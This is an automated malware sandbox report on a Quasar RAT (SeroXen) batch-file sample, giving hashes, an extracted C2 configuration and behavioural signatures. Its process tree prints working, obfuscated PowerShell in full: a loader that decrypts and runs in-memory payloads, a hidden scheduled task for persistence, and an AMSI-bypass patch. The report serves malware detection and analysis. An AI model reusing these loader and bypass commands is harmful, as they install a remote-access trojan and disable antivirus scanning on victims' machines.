quasar | 070f7c800e8278b2cad111635cec3c501ff0aa9aa93fdd9529fcb8736a06d56d

Analysis

max time kernel
300s
max time network
202s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
29/05/2024, 14:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Uni.bat
Size 1003KB
Sample240529-rfaxfagg7t
SHA256 070f7c800e8278b2cad111635cec3c501ff0aa9aa93fdd9529fcb8736a06d56d
MD5 d6d62f532591a7d034abac21eff0b57b
SHA1 94c28efce74a67eb18d28bd51f65d285c8d1caef
SHA512 26f94770e0d250aa6e063af8d5422848a72753a72b20e62b33a76fef5453cdd9e1f70466a935ef0dec145af9b293e12a6ec0e9101f0bd8e80edd3f4be706294a
SSDEEP 24576:iGtp7xs0OFrW/eIeexsYboNCkhhdmjynCf7O:jXO5WnsYcTdPnwO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar seroxen | v3.1.5 |execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen | v3.1.5 |

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-jy6vh8CtEJL5ceZuIb

Attributes

encryption_key
JCa22tR8WnO00adn2TuE
install_name
$sxr-powershell.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/memory/512-22-0x0000000008530000-0x0000000008622000-memory.dmp	family_quasar
behavioral2/memory/3300-83-0x00000000081C0000-0x000000000822C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4232 created 616	4232	powershell.EXE	5

Blocklisted process makes network request 8 IoCs

flow	pid	Process
17	3300	powershell.exe
19	3300	powershell.exe
21	3300	powershell.exe
41	3300	powershell.exe
48	3300	powershell.exe
51	3300	powershell.exe
57	3300	powershell.exe
60	3300	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4676	powershell.exe
3300	powershell.exe
512	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4396	Install.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4232 set thread context of 364	4232	powershell.EXE	107

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1860	PING.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
512	powershell.exe
512	powershell.exe
4676	powershell.exe
4676	powershell.exe
3300	powershell.exe
3300	powershell.exe
2964	powershell.exe
2964	powershell.exe
4232	powershell.EXE
4232	powershell.EXE
4232	powershell.EXE
4232	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	512	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeIncreaseQuotaPrivilege	4676	powershell.exe
Token: SeSecurityPrivilege	4676	powershell.exe
Token: SeTakeOwnershipPrivilege	4676	powershell.exe
Token: SeLoadDriverPrivilege	4676	powershell.exe
Token: SeSystemProfilePrivilege	4676	powershell.exe
Token: SeSystemtimePrivilege	4676	powershell.exe
Token: SeProfSingleProcessPrivilege	4676	powershell.exe
Token: SeIncBasePriorityPrivilege	4676	powershell.exe
Token: SeCreatePagefilePrivilege	4676	powershell.exe
Token: SeBackupPrivilege	4676	powershell.exe
Token: SeRestorePrivilege	4676	powershell.exe
Token: SeShutdownPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeSystemEnvironmentPrivilege	4676	powershell.exe
Token: SeRemoteShutdownPrivilege	4676	powershell.exe
Token: SeUndockPrivilege	4676	powershell.exe
Token: SeManageVolumePrivilege	4676	powershell.exe
Token: 33	4676	powershell.exe
Token: 34	4676	powershell.exe
Token: 35	4676	powershell.exe
Token: 36	4676	powershell.exe
Token: SeIncreaseQuotaPrivilege	4676	powershell.exe
Token: SeSecurityPrivilege	4676	powershell.exe
Token: SeTakeOwnershipPrivilege	4676	powershell.exe
Token: SeLoadDriverPrivilege	4676	powershell.exe
Token: SeSystemProfilePrivilege	4676	powershell.exe
Token: SeSystemtimePrivilege	4676	powershell.exe
Token: SeProfSingleProcessPrivilege	4676	powershell.exe
Token: SeIncBasePriorityPrivilege	4676	powershell.exe
Token: SeCreatePagefilePrivilege	4676	powershell.exe
Token: SeBackupPrivilege	4676	powershell.exe
Token: SeRestorePrivilege	4676	powershell.exe
Token: SeShutdownPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeSystemEnvironmentPrivilege	4676	powershell.exe
Token: SeRemoteShutdownPrivilege	4676	powershell.exe
Token: SeUndockPrivilege	4676	powershell.exe
Token: SeManageVolumePrivilege	4676	powershell.exe
Token: 33	4676	powershell.exe
Token: 34	4676	powershell.exe
Token: 35	4676	powershell.exe
Token: 36	4676	powershell.exe
Token: SeIncreaseQuotaPrivilege	4676	powershell.exe
Token: SeSecurityPrivilege	4676	powershell.exe
Token: SeTakeOwnershipPrivilege	4676	powershell.exe
Token: SeLoadDriverPrivilege	4676	powershell.exe
Token: SeSystemProfilePrivilege	4676	powershell.exe
Token: SeSystemtimePrivilege	4676	powershell.exe
Token: SeProfSingleProcessPrivilege	4676	powershell.exe
Token: SeIncBasePriorityPrivilege	4676	powershell.exe
Token: SeCreatePagefilePrivilege	4676	powershell.exe
Token: SeBackupPrivilege	4676	powershell.exe
Token: SeRestorePrivilege	4676	powershell.exe
Token: SeShutdownPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeSystemEnvironmentPrivilege	4676	powershell.exe
Token: SeRemoteShutdownPrivilege	4676	powershell.exe
Token: SeUndockPrivilege	4676	powershell.exe
Token: SeManageVolumePrivilege	4676	powershell.exe
Token: 33	4676	powershell.exe
Token: 34	4676	powershell.exe
Token: 35	4676	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3300	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 4788 wrote to memory of 512	4788	cmd.exe	87
PID 4788 wrote to memory of 512	4788	cmd.exe	87
PID 4788 wrote to memory of 512	4788	cmd.exe	87
PID 512 wrote to memory of 4676	512	powershell.exe	88
PID 512 wrote to memory of 4676	512	powershell.exe	88
PID 512 wrote to memory of 4676	512	powershell.exe	88
PID 512 wrote to memory of 3512	512	powershell.exe	95
PID 512 wrote to memory of 3512	512	powershell.exe	95
PID 512 wrote to memory of 3512	512	powershell.exe	95
PID 3512 wrote to memory of 4832	3512	WScript.exe	96
PID 3512 wrote to memory of 4832	3512	WScript.exe	96
PID 3512 wrote to memory of 4832	3512	WScript.exe	96
PID 4832 wrote to memory of 3300	4832	cmd.exe	98
PID 4832 wrote to memory of 3300	4832	cmd.exe	98
PID 4832 wrote to memory of 3300	4832	cmd.exe	98
PID 3300 wrote to memory of 2964	3300	powershell.exe	100
PID 3300 wrote to memory of 2964	3300	powershell.exe	100
PID 3300 wrote to memory of 2964	3300	powershell.exe	100
PID 3300 wrote to memory of 4396	3300	powershell.exe	102
PID 3300 wrote to memory of 4396	3300	powershell.exe	102
PID 3300 wrote to memory of 4396	3300	powershell.exe	102
PID 4232 wrote to memory of 364	4232	powershell.EXE	107
PID 4232 wrote to memory of 364	4232	powershell.EXE	107
PID 4232 wrote to memory of 364	4232	powershell.EXE	107
PID 4232 wrote to memory of 364	4232	powershell.EXE	107
PID 4232 wrote to memory of 364	4232	powershell.EXE	107
PID 4232 wrote to memory of 364	4232	powershell.EXE	107
PID 4232 wrote to memory of 364	4232	powershell.EXE	107
PID 4232 wrote to memory of 364	4232	powershell.EXE	107
PID 3300 wrote to memory of 2124	3300	powershell.exe	111
PID 3300 wrote to memory of 2124	3300	powershell.exe	111
PID 3300 wrote to memory of 2124	3300	powershell.exe	111
PID 2124 wrote to memory of 364	2124	cmd.exe	113
PID 2124 wrote to memory of 364	2124	cmd.exe	113
PID 2124 wrote to memory of 364	2124	cmd.exe	113
PID 2124 wrote to memory of 1860	2124	cmd.exe	114
PID 2124 wrote to memory of 1860	2124	cmd.exe	114
PID 2124 wrote to memory of 1860	2124	cmd.exe	114

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6ee98dff-3fb3-40f9-ac5b-02c6e6dc2e2c}
  2⤵
  PID:364

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4788
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j42DKp8x0h4213c6GrktRdOMxpGkpJXPO6k3HjxwrZM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7/5Nvry12FqfboNbAUGrww=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZIqOg=New-Object System.IO.MemoryStream(,$param_var); $mvnnt=New-Object System.IO.MemoryStream; $LUPro=New-Object System.IO.Compression.GZipStream($ZIqOg, [IO.Compression.CompressionMode]::Decompress); $LUPro.CopyTo($mvnnt); $LUPro.Dispose(); $ZIqOg.Dispose(); $mvnnt.Dispose(); $mvnnt.ToArray();}function execute_function($param_var,$param2_var){ $XYSou=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $haZBF=$XYSou.EntryPoint; $haZBF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$XBrYH=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($TMJVW in $XBrYH) { if ($TMJVW.StartsWith(':: ')) { $RNBnP=$TMJVW.Substring(3); break; }}$payloads_var=[string[]]$RNBnP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:512
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_818_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_818.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4676
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_818.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_818.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4832
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j42DKp8x0h4213c6GrktRdOMxpGkpJXPO6k3HjxwrZM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7/5Nvry12FqfboNbAUGrww=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZIqOg=New-Object System.IO.MemoryStream(,$param_var); $mvnnt=New-Object System.IO.MemoryStream; $LUPro=New-Object System.IO.Compression.GZipStream($ZIqOg, [IO.Compression.CompressionMode]::Decompress); $LUPro.CopyTo($mvnnt); $LUPro.Dispose(); $ZIqOg.Dispose(); $mvnnt.Dispose(); $mvnnt.ToArray();}function execute_function($param_var,$param2_var){ $XYSou=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $haZBF=$XYSou.EntryPoint; $haZBF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_818.bat';$XBrYH=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_818.bat').Split([Environment]::NewLine);foreach ($TMJVW in $XBrYH) { if ($TMJVW.StartsWith(':: ')) { $RNBnP=$TMJVW.Substring(3); break; }}$payloads_var=[string[]]$RNBnP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3300
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2964
      - C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        6⤵
        Executes dropped EXE
        
        PID:4396
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\aZQx3kYGGJ7u.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2124
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        7⤵
        
        PID:364
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        7⤵
        Runs ping.exe
        
        PID:1860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lpSzKvotXmTo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DunPPHMcanoZCf,[Parameter(Position=1)][Type]$NyClMoEgiz)$LjacbnttCzr=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+'e'+''+[Char](108)+'e'+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+'r'+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType('My'+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+'e'+'','Cl'+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+'i'+'c'+''+','+''+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'iC'+[Char](108)+'a'+'s'+''+[Char](115)+','+[Char](65)+''+[Char](117)+'to'+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$LjacbnttCzr.DefineConstructor(''+'R'+''+[Char](84)+'Sp'+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+'N'+'a'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+'B'+[Char](121)+'S'+'i'+''+[Char](103)+','+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$DunPPHMcanoZCf).SetImplementationFlags('Runti'+'m'+''+[Char](101)+','+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+'e'+'d'+'');$LjacbnttCzr.DefineMethod('I'+[Char](110)+'vo'+[Char](107)+'e',''+[Char](80)+''+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+'i'+''+'d'+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+'l'+'o'+'t'+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+'',$NyClMoEgiz,$DunPPHMcanoZCf).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+''+'n'+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $LjacbnttCzr.CreateType();}$sTejrmncljwqB=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'ste'+'m'+''+[Char](46)+''+[Char](100)+''+'l'+'l')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+'f'+'t'+'.'+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+'2.'+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+[Char](78)+''+[Char](97)+'t'+[Char](105)+''+'v'+''+[Char](101)+''+'M'+'et'+'h'+''+'o'+''+[Char](100)+''+[Char](115)+'');$iDBFkkgnBcspzV=$sTejrmncljwqB.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+''+[Char](114)+'o'+'c'+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+'e'+'ss',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$pcFwYXOkrFIMjHNVjhI=lpSzKvotXmTo @([String])([IntPtr]);$SBWVrohnObdBYbRyHwLdSY=lpSzKvotXmTo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fUZBKYEZGKZ=$sTejrmncljwqB.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+'n'+'e'+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$MZhvQMtDzjgEDj=$iDBFkkgnBcspzV.Invoke($Null,@([Object]$fUZBKYEZGKZ,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+'L'+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$tBwgWVghFqWmZLhpD=$iDBFkkgnBcspzV.Invoke($Null,@([Object]$fUZBKYEZGKZ,[Object]('Vi'+'r'+''+[Char](116)+''+[Char](117)+''+'a'+''+'l'+''+'P'+'rot'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$nECMqvq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MZhvQMtDzjgEDj,$pcFwYXOkrFIMjHNVjhI).Invoke(''+'a'+'m'+[Char](115)+'i'+'.'+'dl'+[Char](108)+'');$BBfByHacvQzFThEbC=$iDBFkkgnBcspzV.Invoke($Null,@([Object]$nECMqvq,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+'u'+'f'+''+[Char](102)+''+[Char](101)+'r')));$PybXgBRGTG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tBwgWVghFqWmZLhpD,$SBWVrohnObdBYbRyHwLdSY).Invoke($BBfByHacvQzFThEbC,[uint32]8,4,[ref]$PybXgBRGTG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$BBfByHacvQzFThEbC,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tBwgWVghFqWmZLhpD,$SBWVrohnObdBYbRyHwLdSY).Invoke($BBfByHacvQzFThEbC,[uint32]8,0x20,[ref]$PybXgBRGTG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+'7'+''+[Char](55)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff
MD5 55d32bc1c206428fe659912b361362de
SHA1 7056271e5cf73b03bafc4e616a0bc5a4cffc810f
